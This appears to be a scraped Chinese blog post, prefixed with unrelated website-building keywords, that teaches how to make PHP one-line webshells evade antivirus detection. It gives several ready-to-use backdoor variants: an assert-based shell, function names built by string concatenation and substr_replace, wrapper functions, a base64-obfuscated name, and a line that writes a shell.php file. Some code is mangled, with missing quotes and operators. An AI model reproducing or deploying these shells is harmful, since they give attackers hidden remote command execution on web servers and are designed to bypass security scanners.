建设厅的工程造价网站,怎样制定一个网站建设方案,上海网站建设高端定制,网站建设的重难点分析php一句话木马免杀
针对于php一句话木马做免杀#xff1a;
利用php动态函数的特性#xff0c;将危险函数拆分成字符#xff0c;最终使用字符串拼接的方式#xff0c;然后重新拼接#xff0c;后加括号执行代码#xff0c;并且可以使用花指令进行包装#xff0c;如无限i…php一句话木马免杀
针对于php一句话木马做免杀
利用php动态函数的特性将危险函数拆分成字符最终使用字符串拼接的方式然后重新拼接后加括号执行代码并且可以使用花指令进行包装如无限if(11)套接以此来做伪装绕过达成免杀
assert()
如果过滤eval()函数时可以考虑尝试assert()函数
assert() 会将字符串当做PHP 代码来执行 assert() 只能执行单条PHP 语句。assert() 是一个函数可以动态调用。高版本PHP 中assert() 被弃用 此时一句话木马即可构造为
?php assert($_REQUEST[cmd]); ?字符拼接函数
当eval和assert都被过滤时即可考虑将函数拆分重组
例如
?php$aa.s;$bs.e;$crt;$d$a.$b.$c;$d($_REQUEST[cmd]);
?可正常执行 编码加密后也可连接 php函数替换拼接
可以使用php函数来进行字符串的替换拼接
substr_replace() 函数是 PHP 中用于替换字符串中的一部分内容的函数
使用方法
string substr_replace ( string $string , string $replacement , int $start [, int $length ] )参数说明
$string原始字符串。$replacement替换的字符串。$start替换的起始位置。$length可选参数指定要替换的长度。如果未指定则替换从起始位置开始一直到字符串末尾的部分
示例
?php$asubstr_replace(asxxxx,se,2);$bsubstr_replace($a,rt,4);$b($_REQUEST[cmd]);
?同上可执行可连接
定义函数包裹
使用定义函数将危险函数放进函数中替代调用
?phpfunction asrt1($a){assert($a);}asrt1($_REQUEST[cmd]);
?GPC替换
当request被过滤时尝试使用GET或者POST
当然该参数也可以使用字符串拼接等方式组合
加密
例如使用base64加密
?php$abase_decode(YXNzZXJ0/ZXZhbA);$b$a(base64_decode($_REQUEST[cmd]));
?生成一句话马文件
?php file_put_contents(shell.php,?php assert($_REQUEST);?)?同理如果该函数中出现过滤则可考虑使用上述的拼接替换字符